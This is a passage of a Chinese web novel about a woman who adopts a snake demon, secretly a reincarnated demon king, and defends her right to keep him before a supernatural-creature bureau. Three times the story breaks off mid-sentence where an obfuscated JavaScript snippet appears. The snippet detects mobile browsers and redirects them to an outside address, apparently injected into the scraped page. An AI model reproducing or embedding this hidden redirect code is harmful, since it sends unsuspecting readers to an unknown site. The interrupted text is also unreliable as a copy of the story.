“幸好有你……”她自言自语似的叹息了一声,摸摸它的脑袋,轻快地说,“走吧,咱俩去洗白白了~” 酒店的卫生间自带一个小浴缸,舒情泡进去,感觉自己像一朵蜷曲的干花,整个人都在热水里得到了伸展。 这温度对人很舒适,对冷血动物却似乎不那么友好,小蛇妖远远地缩在浴缸的另一头,死不下水,扭头不看她,还用蛇身死死地蒙着自己的眼睛。 舒情心想:难道作为一个能通人性的小妖怪,它已经进步到能理解人类的“非礼勿视”了? 她原本其实没想那么多有的没的。本来嘛,对方只是一条小蛇,不是人;就算是人,一个刚落地不到一天的幼崽,也谈不上什么礼不礼的。结果这会儿倒是被小蛇的反应弄得尴尬起来了。 她快手快脚地把自己洗刷干净,换上衣服,重新弄了一盆温水,衣冠楚楚地回来洗蛇。 小蛇妖泡在水里,舒情怕它对肥皂泡之类的过敏,也不敢乱用清洁剂,就用手轻轻地给它擦洗。 蛇鳞软而且凉,光洁美丽,没有一丝伤痕,摸索起来手感绝佳。 “应该给你取个什么名字好呢,”舒情手上在干活,脑子也不消停,苦恼地思考,“以后总不能一直叫你小蛇吧?可我是个取名废啊……” 她弹一下小蛇雪白的鳞片,“要不就叫小白?……” “不好。”没有一秒钟,舒情又自己否定了自己,“什么猫猫狗狗都可以叫小白,太没有辨识度了,你可是一条珍贵的小蛇妖……” 小蛇妖在她手心里动了动,它抬起头,红眼睛凝望着她,眼底的情绪几乎称得上是复杂了。 下一秒,舒情掷地有声地宣布道:“所以,我决定叫你小红!” “……我决定叫你小红!”月下湖边,篝火明灭,青裙少女毫不畏惧地迎着少年血红的竖瞳,有理有据地说道,“谁让你一直不告诉我你叫什么呢?我总不能一直管你叫妖怪吧,多不礼貌啊,我师父没教过我这么待人接物。” “本来想叫你小白的,可是我想了想,觉得这个称呼,好像和我养的那些白毛灵宠差不多,并没有尊重到哪儿去。”她说,“所以还是叫你小红吧,你有一双好看的红眼睛,特别与众不同。” “小红?” “小红。” “小红~” 一千七百年前,妖王凶名震慑仙都,世人言及其名,莫不衔恨嚼血。 可其实那些年里,他一点也不想做什么凶名赫赫的妖王,只想做她的小红…… “那咱们就叫这个了?”舒情看小白蛇没有反对的意思,自嘲地笑笑,“好吧,虽然我也知道小红没比小白好到哪儿去……但起码这名字好养活嘛,总比叫蛇傲天强一点。” 她这时候洗到了小蛇的尾巴附近,手指正好碰到了蛇腹上某片特殊的鳞片,遂一拍脑袋,想起自己忽略了一件重要的事。 “哎,你是男孩子还是女孩子?”舒情把小蛇妖肚皮朝上翻过来,“你要是个女孩子,叫小红就太随大流了,天天得跟小学数学题撞名。别动啊,让我看看——” “啪!” 小蛇妖一尾巴拍上她蠢蠢欲动的手,强行中止了她某些好奇心过旺的探索行为,溅起了一大片水花。它用力一挣,从舒情手里挣出来,弹射似的窜出了卫生间的门,丝毫没有偏差地着陆到了衣架上。 它迅速地爬到了衣架的最顶端,朝她龇出牙,露出了一副不可侵犯的凶相。 “好的,宝贝儿,”舒情悻悻地抹了把脸上的水,举手投降,“我不看,不看就是了。” 小蛇妖不为所动,她哄了半天,仍然不肯下来。 舒情没了办法,只好由着它去,严丝合缝地关上了四面门窗,免得它越狱。 舒情打开手机,开始处理非法入室事件的后续——经过几个小时,#小蛇妖情急护主#已经飙上了热搜,连她日均半夜十二点下班的前同事们,都在群里见缝插针地讨论新发现的厉害妖怪。 她直播的时候虽说留心了没入镜,但后来场面混乱时,难免露了次脸。好在直播自带美颜滤镜,p得她像只浓妆艳抹的猴,前同事们没一个人认出她来。 她又看看热搜,#佳加非法入室#也高居热搜词条前列。因为关联着超常生物发飙的大爆词条,热度压不下去一点儿,公寓官方正在拼命给她发私信,承诺的赔偿金额也是翻着番地上涨。 “按法律规定赔偿。”舒情回复,“麻烦你们能拿出实际行动来,保障独居女住户的权益,还有公示你们管家的招聘标准。” 对方全盘答应,又保证一定会派一个业务良好的新管家接替工作,并迅速更新了一篇言之有物的道歉信。舒情转发过后,到底也算有了个交代。 然而互联网上滚烫的余热压不住,只能交给时间去降温。 公寓盼着尽早降温,舒情却要趁热打铁。她呈大字形摊在床上,眼望着还盘在衣架上不下来的小蛇妖,琢磨着明天该拍点什么。 之前那些构思是不能用了,这时候,应该正式给大家介绍一下她的小蛇才行。 她想:给它拍一条个人——不,个妖向混剪吧。 前半段主打一个可爱卖萌,后半段凶残开大,就考验她的剪辑技术了! 舒情一个鲤鱼打挺坐起来,找到了纸笔,涂涂画画地进入了创作状态。 这一次,视频给她的“金手指加持”效果显著,她跌宕起伏地折腾了一整天,高强度运转到深更半夜,大脑居然还没断电,灵感和创意井喷似的涌出笔端,涂满了大半个本子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903013|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到夜里三点多,她眼皮才终于开始打架,趴在本子上睡着了。梦里还没彻底关机,笔尖时不时地动一下,留下满纸乱码一样的点点圈圈。 盘在高处的小蛇妖无声地转过了头。它定定地看着她,片刻后,徐徐向地面游去。 墙壁上的蛇影骤然抽长。须臾,触及地面的已不是一条蛇尾,变成了一双霜白的赤足。 他走出一步,纯白的寒气萦绕,织成一对只有在博物馆里才能见到的丝履;雪白的下摆随之垂落,白衣银发的少年悄然立在舒情身边,从头到脚一尘不染,妖异得像从月光之中化出的一道精魂,全不似此世间人。 少年垂下绯红的眼瞳,拂开她满脸遮住五官的乱发,神情漠然地凝视着她。 从午后开始,他的妖力恢复得远比预想中快,如今到了子夜,已经能化出人身。 倘若她此时醒来,抬头看他一眼,可能认得出这张脸吗? 她不是和他共处一个屋檐下的同住者,更不是什么温柔的主人和不驯的妖宠。 她和他隔着生死账,至死兀自不肯休。 不死的妖王最终死于霞山君费尽心血的一颗毒丹。说来可笑,一个是仙都的神女,一个是妖族的新王,身份立场、血海深仇横亘中间,无不有千斤的分量,到最后,竟然也没能压灭那些藕丝般的纠葛爱念。 他总觉得,身份归身份,情谊归情谊,除阵前相见以外,他对她没有防备。 她那时候分明也是这样承诺的啊。她说,“仙和妖怎么就非得殊途不可了?我就是想要你,不行吗?” 他相信了。 于是她炼给他的丹丸,他一概不设防地吞下去,终于在关键时刻妖力尽失,死在了断后的战场上。 她自己也没落得什么好下场,找到了他埋骨之地,然后,把自己也安葬在了那里。 真是愚蠢。既不肯同生,又何必共死呢? 前世彼此纠缠,到最后两败俱伤、鲜血淋漓。她杀他一次,也死过一次,就算是两清了。若不是今生他意外在她家中苏醒,他们本来再也不必有交集。 做一条蛇,可以无知无畏;但一个人,总该吸取往日的教训。 少年的目光扫过舒情手机屏幕上的短信。他游荡千余年,当代的文字大多都认得,能看懂那是一条警示信息。 “国家相关法律法规”、“高等级超常规生物通常不允许私人养育”,以及落款的“超常规生物管理局”。 已经没有仙都了,也没有走投无路的妖族。 然而殊途仍然是殊途,并不因时移世易而可以同归。 他无声地想:还完她的债,就归于山野,去做一条了无牵挂的蛇妖吧。 往世因果,俱已烟消,他们再也不要重蹈覆辙。 当晚发生的一切,舒情毫无所察。她舒舒服服地睡了一觉,醒来的时候,发现自己躺在酒店的大床上。 没记错的话,昨晚她是画着创意稿睡着的。什么时候上的床,还盖上了被子,掖好了被角? 舒情开玩笑似的问:“是你把我弄上来的吗,小红?” 小蛇妖远远地蜷在大床的另一边,闻声冷淡地睨了她一眼。 他是想尽快清掉自己的债务。但看着她穿着短衣短裙,在低温的空调房里冻死,并不是个理想的清债方式。 “好的吧,我知道不可能。”舒情摸摸鼻子,感觉大概是捡到了个小妖怪的缘故,自己最近的想象力有点放飞自我的意思,脑洞开得能跑马。 她打开手机,想看看今天早上的视频数据,然而屏幕解锁后,她先看到了一连三条一模一样的短信: “舒小姐您好:您于社交媒体上分享的宠物蛇,疑似6级以上超常规生物。” “为保障公民人身与财产安全,请您及时联系我局,并携带您的爱宠往我局检验。按照国家相关法律法规,高等级超常规生物通常不允许私人养育,敬请谅解。” “感谢您的配合!【超常规生物管理局】” 5. 超常规生物管理局 下午一点二十,舒情提前十分钟,抵达了超常规生物管理局。 该局名字里挂着“超常”两个字,但没有一点儿超常脱俗的气质。等候区人山人海,放眼望去,上百号人、上百号各自不同的宠物背包箱笼挤在一起,火爆得不像是工作日该有的场面。 前后左右都是同样在等结果的小青年,人均等了两个小时,正端着盒饭凑在一起,叽叽喳喳地闲聊。 有的在言之凿凿地形容自家边牧如何能听懂人话,可见八成是超常生物;有的引用网友评论,说自家的布偶猫怎样讨人喜欢,不像是普通猫猫。 舒情踏进等候厅大门的时候,公示大屏幕上正好刷出来一条新的通告—— “A49,自然能量等级2.3级,请及时前往工作人员处登记。” 整个大厅一瞬间被点燃了,群魔乱舞。新晋的“超常生物饲养员”是个富二代,手足并用蹦上了坐椅,开始发表胜选感言。 演讲的内容大致是自己如何花了七十万,请来了怎样一对超常的爹和特异的妈,经历了何等用心的养护,才有了这只来之不易的小妖怪…… 舒情避开了二十几条挥舞的胳膊和腿,一路神走位穿过人群,感到人与人的悲欢是不相通。 满座的人都盼着能量等级越高越好,只有她,对着怀里的背包嘀咕:“你千万不要给我检测出来个7级以上啊。” 她护着背包抵达前台,出示了昨晚收到的短信。 “首都的专家团队已经到了,在安置设备。”前台的工作人员一看,就笑说,“舒小姐,请跟我来。” 在一群人疑惑的注目礼中,舒情被带进了vip会客室,还得到了一杯待客的茶水。 她拉开背包拉链,小蛇妖探出头来,赤红的眼瞳微微转动,无声地扫视四周。 这里,就是这个时代监管妖族的机构吗? 眼前这个房间里,还都是些凡俗风物,没有丝毫灵力的波动。然而十余丈外——哦,用这个时代的话说,五十米以外,就能觉察到些许灵力的气息。 五十、四十、三…… 舒情去开门。门外站着两个人,前者是个穿制服的少年,看着像个中学生,有一张可爱的娃娃脸,一头灿烂的金发格外耀眼;后者是个五十来岁的男人,乍看颇为沧桑,但眼神却很锐利,一点也不浑浊。 “舒小姐,幸会。”小金毛扬起下巴,说,“我是超管局特勤部部长金万里。” 舒情:“……” 长得挺精致的,名字却好生粗犷。 她身后的年长男人平铺直叙地自我介绍:“资深养育师,胡游。” 四月初的天气,室内空调温度维持着稳定的25度,然而舒情隐隐觉得全身发冷——她隐约觉察到,超管局的这两位公务员对她不怎么友好。 她是头顺毛驴,别人要是笑脸相迎,她能跟人家勾肩搭背;然而别人要是一上来就不给她好脸色看,那不管这个“别人”是谁,也别指望她有什么好声气。 虽说她现在是个失业人士,但从前好歹也算得上是个“社会精英”。她没有露出半点软弱的颓相,平淡而礼貌地客套了一句,“幸会。” “舒小姐想必已经看过《关于超常生物分级与私人饲养的相关规定》了吧,”小金毛倨傲地说,“辛苦你这两天照顾我……”他一顿,“照顾他了。现在,把他交给我吧,我们会付给你一笔补偿金。” 舒情微笑着拒绝:“规定里没有说过普通公民不能养妖怪。” “规定里白纸黑字,说过了你们不能养‘高等级’妖怪。”金万里用看文盲的眼神睥睨着她,指了指小蛇妖,“他,高等级妖怪。有问题吗?” “据我所知,国家机关办事一向以检测报告为准……”舒情笑,“不靠着主观臆断。” 金万里的表情一瞬间就变了,看上去像是想打人,好在一直一言不发的胡游及时制止了他。 “按他们的规矩办吧,”胡游说,“走一次检验的流程。” 金万里深吸口气,点点头,冷笑一声,“行啊,那你自己看清楚了。” 金部长在超管局里权限极高,三分钟后,他略过了“非专业人士禁止踏入检验室”的操作规范与一排检验师欲言又止的表情,把舒情一路带进了刚布置好的高级检验室里,让她围观检验的全过程。 一进检验室的门,就感觉一脚踩进了异世界。到处都是看不懂的符文似的线条,吟唱般的咒歌在四周隐约作响。 桌子上摆了一圈见所未见的精密仪器,一名检验师戴上手套,取出一枚全镜面反射的正四面体,四面体底下挂着标签——“致幻类异常能量采集设备”。 这枚四面体被放到小蛇妖面前。纯白的寒气涌出,四个镜面里瞬间闪过几十帧险恶的画面,然后迅速黑下去,像是过载死机了。 金万里在旁边阴阳怪气地讲解道:“舒小姐看到了吧?它能承载6级自然能量哦。” 舒情回了他一个假笑,在心里飞快地检索了一遍,确定自己从没有得罪过——甚至从没有见过这位特勤部长。 这么大的敌意,是利益冲突吗?因为她的小蛇真的很珍稀,他想抢走? 她悬着心,安静地站在一边,看着检验师们有条不紊地进行操作。各种数据在仪器之间传递,像一组多米诺骨牌——过一道,报废一道。 一位检验师从层层保护设备里取出来一个精密的温度球,小蛇懒洋洋地哈了口霜气。球面上显示的温度疯狂跌破极限值,“喀”的一声轻响,被低温冻得开膛破肚,无遮无拦地暴露出内里符文与机械结合的精巧结构。 舒情:“……” 原来这就是她冰箱的死因。 液晶屏上不断刷新出各种数字和符号,它大概是这个“异世界”里唯一的纯科技产物。来来回回的“指数”“标准”,舒情一个也看不懂,她只盯着最上边的那个红色的数字。 数字从6.1开始往上跳,在6和7之间像拉锯战一样地来回波动,偶尔几次跳出了“7”,最后,险伶伶地稳定在了6.9。 金万里脸色微变,舒情大大松口气——还好,她上午做的准备能用上! 五位检验师的操作都已经结束了,小蛇妖从容自若地游下检验台,盘到了一个舒服的角落里。 它还挺淡定的,好像只有她一个人紧张。 舒情把所有的不安都压进了方寸间的心口里,任凭心率一百八,绝不让它上脸。她毫不示弱地也扬起了一点下巴,一扫平时的吊儿郎当状,无所谓地朝那满桌子的检验结果瞥了一眼。 “5级以上就已经属于高等级了,”金万里很快收拾好了表情,“你还有什么话说?” “有啊,”舒情说,“第七十二条规定的附则里说,‘倘有不超过7级的高等级超常生物已与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903014|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原饲主产生了一定感情,想和原饲主共同生活的情况,本着保护超常生物的原则,应当酌情考虑’——我现在就符合这种情况。” 金万里发出了一声尖锐的嘲笑,“哈!”他指着小蛇妖问,“他和你产生了一定感情,他想和你共同生活?” 连胡游那张石板似的脸上都露出了一丝若有若无的嘲弄。 舒情面无表情地朝小蛇妖走过去,捧起它问:“你想和我一起生活吗?” 小蛇妖在她震耳欲聋的心跳声里默然许久。 “你不会真的告诉我你不想吧,”舒情忐忑地想,“虽说你凶了点,可你也挺身而出保护我,保护了两次……” 金万里嘲讽地笑道:“你看见了吧,他压根儿就不——” 众目睽睽之下,小蛇妖终于不情不愿地点了点头。 金万里目瞪口呆的余音落了地,“……想。” 舒情接着问:“那你和我产生了深厚的感情吗?” 这次小蛇妖沉默了更久的时间,几双眼睛都死死盯着它。半晌,它才终于再一次点了头。 杀身之仇,无日或忘,如何不算情深缘厚? 金万里和胡游的眼珠子都快瞪掉了。舒情深深吐出一口气,得意地说:“我证明了。还需要它用尾巴登记画押吗?” 这一次,轮到金万里结巴着要求道:“走、走一次流程!” 从首都飞来的专家团队里有五个资深养育员,以胡游为首,清一色都是自然能量研究系博士学位,各自积累了一通高级的理论与实操技巧。 第一位主打尊重,理性克制不打扰,被小蛇哈来一口冰冷的寒气,冻僵了三根手指;第二位主打陪伴,温柔耐心有活力,被小蛇一口咬来,鼻尖多出两个血洞;第三位主打沟通,情绪感知力一流,被小蛇丢来一记幻术,遭到了不小的惊吓…… 舒情在旁边看着,本来心里很没底,毕竟自己确实远不如人家专业。 但等到小蛇游回她面前的时候,她默默捂住了脸,心说:什么锅配什么盖,这么凶的一条小蛇,还是老老实实地在我手掌心里盘着吧,别去祸害旁人了。 她家小红没有那个当少爷的命,注定了得乖乖地跟着她当网红。 “……别得意太早,”事实摆在眼前,金万里终于咬牙切齿地拍出来一张申请表来,“先登记!登记完,你还得考试呢!” 舒情对此早有心理准备,她痛痛快快地填表签字,又问:“学习资料呢?” 胡游在电脑屏幕上操作了一通,过了一会儿,舒情的邮箱里弹出来提示,收到了胡游发来的一个压缩包,足有好几个G。 压缩包的名字叫:高危级超常规生物私人养育许可证办理考核相关学习资料.zip。 “妖……你那条小蛇妖暂时留在这里,4月9日早上九点,在这里考核,你有一星期时间学习这些资料。”胡游交代,“考核要是不通过,申请驳回,之前说的补偿金仍然有效。” 舒情问:“通过的话,我就能带它回家了?” 金万里哼了一声,“前提是你能通过。你知道这个考试的通过率只有不到百分之一吗?” 舒情没被这惨烈的不及格率吓住,她又问:“开卷还是闭卷?” “哈,当然闭卷!” 闭卷啊,看来要全文背诵呢。 而她现在连这个压缩包叫什么都没记住。 6. 鸡尾酒与冰可乐 舒情带着一大包新获得的学习资料,头重脚轻地回了公寓。 新来的管家妹子效率奇高,电路已经修好了,正好,一点不耽误她埋头备考。 她疲惫地往沙发上一栽。那位金部长的攻击性和压迫性实在太强了,为了不输阵,她端了足足一下午的架势。三个多小时里,随时准备着要针尖对麦芒,cpu烧得差点冒烟,这会儿实在是没电了。 身边空荡荡的,一个活物也没有,小蛇妖被临时扣在了超管局。 她离开的时候,看见它“按照流程”被关进了一个专门禁锢妖怪的小笼子里,兀自执拗地一直往外张望。她走到了门口,回头再望向它的时候,它竟然还是一动不动,圆溜溜的一对红眼睛,眨也不眨地凝望着她。 它是已经习惯了她的存在了吗?明明就才认识两天。 连她也已经习惯于它的存在了,习惯得就像是在很遥远、很遥远的过去,他们早已长久相伴。 而现在它不在了,她身边好像平白空了一块…… “过几天就接回来了。”她又撕开一块奶糖,嚼在嘴里,给自己打气,“就当是暑假前参加高考了。只要从前有人能考过,就说明我也能过!” 不就是学习资料吗,背就完事了! 舒情随便填了填肚子,仗着昨天更新视频的“金手指”加持还没过去,坐到了电脑前。 各种图文铺满了她的电脑屏幕——超管局给她的资料里,高清大图相当之多。为了保证高等级妖怪不至于挣脱人类监管,这套资料几乎就是“妖怪控制设备使用说明大全”,图片里都是运行设备需要的各种手势。 “这比鬼画符还复杂。”舒情嘀咕了一句。 她花了半小时的时间,先背诵第一部分里讲的各种设备简介,默写一遍,确认自己记住了,才开始记忆那些千奇百怪的图案。 各种线条缠绕成形态各异的方块,毫无规律地陈列在她面前,仿佛一排仅供电子生命读取的二维码。 舒情很想从中提取点什么规律出来,但她连这其中到底有没有规律都不确定,死盯着看了半天,毫无头绪,只觉得眼睛都要瞎了。 她给自己滴了点眼药水,认命地闷头开始死记硬背,又过了一小时,第一个图案总算是背下来了一半。 舒情往后一翻——后面还有一百二十八个类似的图案。 她哀嚎一声,整个人向后一仰,痛苦地瘫在电脑椅背上。 这一仰头,便签贴的简易倒计时明晃晃地落进她眼里——为了激励自己,她特意把倒计时贴在了墙上最显眼的地方。前七张纸上横横竖竖地画上了简笔的笼栏,倘若揭开所有的笼栏,就能看到最下面那张Q版的傲娇小蛇,寥寥几笔,活灵活现。 “加油,”舒情龇牙咧嘴地把目光重新拉回电脑屏幕上,给自己打气,“小红还等着你去捞它呢!” “小红”并没有一点儿迫切盼望她来拯救的意思,他现在在一处装潢十分精致的客房里。 他已经化出了人身,还换了一套适合出现在现代人身上的白衬衣,没骨头似的窝在沙发上,抱着个平板电脑,学着记忆中舒情的样子,在平板上戳戳戳。 这少年的学习速度惊人,没一会儿,就将这智能科技产物掌握了个七七八八,甚至无师自通地找到了短视频平台,搜到了舒情的账号。 吱呀一声,资深养育员胡游进了门,此时此刻,他手上已经看不出来一点曾经被冻伤的痕迹了。他推来一车精雕细琢的蛋糕慕斯甜品饮料。最上一层摆着两杯特调鸡尾酒,贴心地送到了少年手边。 少年抿了一口,感觉味道酸苦,不爱喝,于是头也不抬地吩咐道:“我要喝那个红色瓶子的……唔,‘可乐’。” 胡游:“……” 他默默地换来了一车可乐炸鸡冰激凌。 眼看着少年愉快地沉浸在了碳酸饮料和短视频的温柔乡里,胡游心想:完蛋,小妖王怕是不能好了。 下一刻,他听到小妖王发号施令道:“你手机给我用一用。” 胡游赶紧将手机双手奉上——不知道小妖王用他的手机想干什么,要联系那些乡野间的旧人吗? 并不是,小妖王用他的手机号码注册了个短视频账号,关注了一个小网红,还设成了“悄悄关注”。 胡游定睛一看,小网红的名字叫做“阿舒与小红”。 胡游:“……” 是真的不能好了。 少年妖王把手机抛还给他,挖着一盒冰激凌吃,从新到旧地翻看小网红的动态。小网红没露脸,视频里只有她拍的各种小动物,间或出现一两篇简短的文字,有时候在分享生活,有时候在吐槽一言难尽的工作需求。 过了一会,他疑惑地抬起头来,扫了胡游一眼:“你怎么还不走?” 饶是胡游七情不上脸,也被这直白的问话噎了一下,干笑说:“将近两千年不见……” 那妖王凉薄地冷笑了一声:“这叙旧的废话就免了吧。” 胡游张了张嘴,剩下的一番话卡在嗓子眼里,进退两难。 “我知道你想说什么,”少年妖王的目光仍然停留在舒情的个人主页上,“你不甘心驯服于一群凡人,可是你已经不能修炼,连其他同族也一样,你们无计可施。而这个时候,我又出现了,你觉得我可以破局,是不是?” 胡游低声说:“您是我们的小妖王啊。” 少年无所谓地说道:“早就不是了。” 他终于从平板上抬起了头,美好的面容仿佛造化穷尽心血的一件艺术品。 “游叔,我是向父亲发过誓,会一生一世守护同族。”少年平静地说道,“但是那一生,早就结束了。” 胡游惊愕地睁大了眼。他屏蔽了这里的监控设备,避开了其他的同事,费了不少工夫才说上话,没料到听到这么一句倒反天罡的回答,一时间竟不知该如何应对。 莫非从生到死走了一圈,他仍然放不下那个人吗? “与她无关,”少年看了他一眼,就知道他在想什么,“我只是没想到这一世又会欠她的债。如今,我只想和她两清,然后就去做个山野间的寻常妖怪。” “难道连……”胡游问,“连万里,您也不想管了吗?” “他长大了。一千七百年了,没有我,他不是也过得很好吗?” 他这话已经近乎冷血无情了,门外立刻就响起了愤而远去的脚步声。 胡游恭顺的表情终于裂开了,语气中带上了几分尖锐的嘲弄:“纵然如此,您恐怕也做不成什么寻常妖怪。” “您只会被当成一只危险的‘超常生物’,按照他们给您贴的标签、评的等级拘管起来。就好比这里,看着无一处不好,其实连枕头底下都有等着要镇压你的符咒。”他往那柔软蓬松的大床上一指,“要么您就这样好吃好喝地,被圈养关押到死;要么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903015|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和我、和万里一样,听凭他们使唤,才能有那么一丝半点的自由——” 他声色俱厉地问:“您是打算在‘当猪’和‘当狗’两条路里选一条吗?” 少年无动于衷地笑了一声,重新低下头,开始在平板上打字。 胡游定睛一看——原来是那小网红一分钟前更新了一条文字动态,小妖王正在底下活跃地给她留言。 “……” 在这一刻,妖族中老年和天下网瘾少年的父母们,隔着一道不可逾越的种族鸿沟,神奇地找到了共同语言。 根本就没法沟通! “网瘾少年”气走了大发雷霆的长辈,伸个懒腰,放下了手里的平板,又变成了一条小蛇,从衣服里钻了出来。 他吐出一团白色的寒气,寒气蜿蜒而上,竟然像一团冰冷的火焰,将那身衣服彻彻底底地毁尸灭迹了,原地没有留下一点痕迹。 他这才抬起头来,瞳孔闪烁,解除了笼罩着整个房间的幻术——天花板上的摄像头能屏蔽8级超常生物的干扰,胡游事先做的那点准备防不住,必须用幻术遮掩一二。 现在,在摄像头的记录里,只能看到胡游给小蛇妖弄了点吃的,还教它使用人类智能设备,尽职尽责地在履行养育员的工作本分。 虽说引导妖怪融入人类社会的进度过于超前了点,但半个不该说的字都没有。 给胡游善后完,小蛇妖心安理得地把剩下的冰激凌吃掉,爬回平板前,一键发送评论。 舒情在新发的动态里说,背那些设备启动图案“简直是硬背二维码”,其实没那么难。 接受检测的时候,小蛇妖也在不动声色地研究那些没见过的仪器。检测师们没有想着要防止一条小蛇偷师,于是一圈下来,他就看得七七八八了。 和从前仙都那些仙人们的造物并没有什么差别,只是载体不同——脆弱的草木变成了坚固的合金,不精确的手工换成了精确的机械雕刻,可见人类这个种群真是擅长自我超越。 舒情说的“设备命令手势”,就和以前的符文差不多,里面自有一套组合原理。 金万里和胡游显然留了心眼,没把这套原理给她,想叫她“硬背二维码”,知难而退。 可她宁可那么努力地死记硬背,也想留他在身边,他……总不能真的就一点儿无动于衷吧? 小蛇妖在评论区给舒情提供了义务教育,觉得距离自己还债的目标又近了一小步。 发表完,他没什么其他事做,就继续翻舒情从前拍的那些宠物视频。 他刷到一条两三个月大的小狗,对着镜头外的舒情撒娇,于是在心里评价:谄媚。 又刷到一只小鸟,在舒情手心里荒腔走板地唱歌,他心想:粗陋。 还有个毛茸茸的小兔子,就着舒情的手吃生菜叶,他又认为:蠢钝。 看来看去,总之没有一个好东西。 小蛇妖兴味索然地关掉了视频,这时,意外地发现舒情给他发了好几条私信。 她说:“!!!!!!!” “大佬!!万分感谢,救我狗命!!!” “请问大佬能透露联系方式吗?我还有一些别的问题想请教,能不能加个好友?” 小蛇妖:“……” 他连手机都没有,上哪去给她变个联系方式出来? 小蛇妖探出一截尾巴尖打字,力透纸背地回复她道:“不行。” 7. 另类的上岸 舒情悬梁刺股,闭关苦读七天,靠着意志支撑和金手指续命,统共只睡了不到二十个小时,终于是啃完了这好几个G的资料。 考试当天,她站在超管局里的时候,脑袋都在隐隐作痛,全凭着前一天晚上蹭的一次金手指提着精神。 小蛇妖被放了出来,趴在软垫上,看上去恹恹的,同样也是一副睡眠不足的样子。 只有金万里和胡游两个监考官精神奕奕,全方位无死角地盯着舒情,决不放过一丝半点可能的作弊证据。 头两场是笔试和面试,舒情仗着自己学习得全面而且深入,对答如流,一路杀进了实操大关。 然而到了实操环节,就不太友好了。 首先就对小蛇妖很不友好——舒情眼睁睁地看着它被关进了一个电闪雷鸣的玻璃箱里,不许还手,只许躲藏,必须得等到一分钟以后,舒情下令“还击”,它才能把那充当阵眼的假人一口咬碎。 过这一关的时候,连两位监考官的脸色也不好看。 一世纪似的一分钟总算是过去了,舒情从玻璃箱里把小蛇抱出来,小心翼翼地将它的每片鳞都检查了一遍,看见它完好无损,心底憋着的这口气才终于呼出来。 小蛇妖蹭了蹭她的手指,不知道是安慰她,还是吓坏了,在撒娇。 它第一次表现得这么亲昵,舒情并不惊喜,反而很心疼,觉得它肯定是被这倒霉的实操考题吓到了,用手指轻轻地摸它的脑袋。 接下来,她就该心疼她自己了。 这考题对妖怪不友好,对人也不见得好到哪去——她面前摆了五花八门的仪器变种,需要她按照正确的操作规范启动它们,并用它们应对考官给出的各种情境。 舒情感觉头更疼了。 她屏息凝神,背下来的那些符号和线条在脑中成型,眼前的仪器逐个运转起来,通过直觉,感到能量汇聚的线条在室内无形地游走。 仿佛一线剧烈的风刮过耳畔,又像无声的雷霆在眼前劈落,她好似站在风雷的中央。她忍着头疼,隐约觉得这一切都格外熟悉,如果不是被脑中越发明显的钝痛吊着,她几乎要在这莫名的熟悉感中堕入一场深梦—— “嘶——!” 小蛇妖不知道什么时候忽然窜到了她肩上,圈着自己领地似的,用尾巴圈着她,朝金万里发出凶戾的嘶鸣。 纯白的寒气在她周身蔓延,弥漫过她的耳目口鼻,舒情猝不及防吸进了一口,仿佛直接吸入了极地的寒风,一口冷意从鼻腔直冲肺腑。 她整个人都被这一下冻清醒了,头痛一扫而空。她仍然能感应到无形无相交击的风雷,但再也没有那种如坠梦中的感觉了。 舒情恨恨地磨了磨牙,目光不善地盯向金万里。 居然在她考试的时候阴她? 金万里一把挥开扑到面前的寒气,气急败坏地跳脚:“你护着她?!” 小蛇妖无动于衷地蜷在她肩窝里,冰凉的脑袋贴着她。 舒情下意识地抬起手来挡住了小蛇——没办法,虽说她知道小蛇搞不好能打十个她,然而保护幼崽宝可梦属于人类的原始本能。 她似笑非笑地说:“金部长,您不是来监考的吗?” “谁他妈是来监考的。” 金万里彻底撕下了面皮,睁出了一双灿烂刺眼的金瞳,“老子是来带他走的!” 舒情脚下一软,眼前发黑,要不是她身边就是能借一把力的桌子,她差点就真的软倒在地上了。 她胸口憋闷,喘不上气,有那么一瞬间,坚固的地板好像凭空变成了没有质量的气体,万有引力狼狈地失了效,她整个人都像是飘进了氧气稀薄的大气最外层。 只一瞬,霜气再度流转于周身,虽然冷,但她总算又能呼吸了。舒情大吸一口气,冷空气肆虐地涌入空荡的心肺,呛得她哆哆嗦嗦地咳嗽起来。 “好,我这是体验了一把从太空迫降北极。” 舒情心里跟自己贫了句嘴,手也没闲着,一把从桌子上抓过一个长得像悬浮灯似的符咒设备。 她画了个复杂的手势,刚才还只能磕磕绊绊画出来的图案,在高度的紧张之下居然刹那成形。这悬浮灯“嗡”的一声,浮在上方的球形灯泡“砰”地砸在灯座上,灯光由明转暗,以舒情为中心,铺开了一个直径三米的黑色重力场。 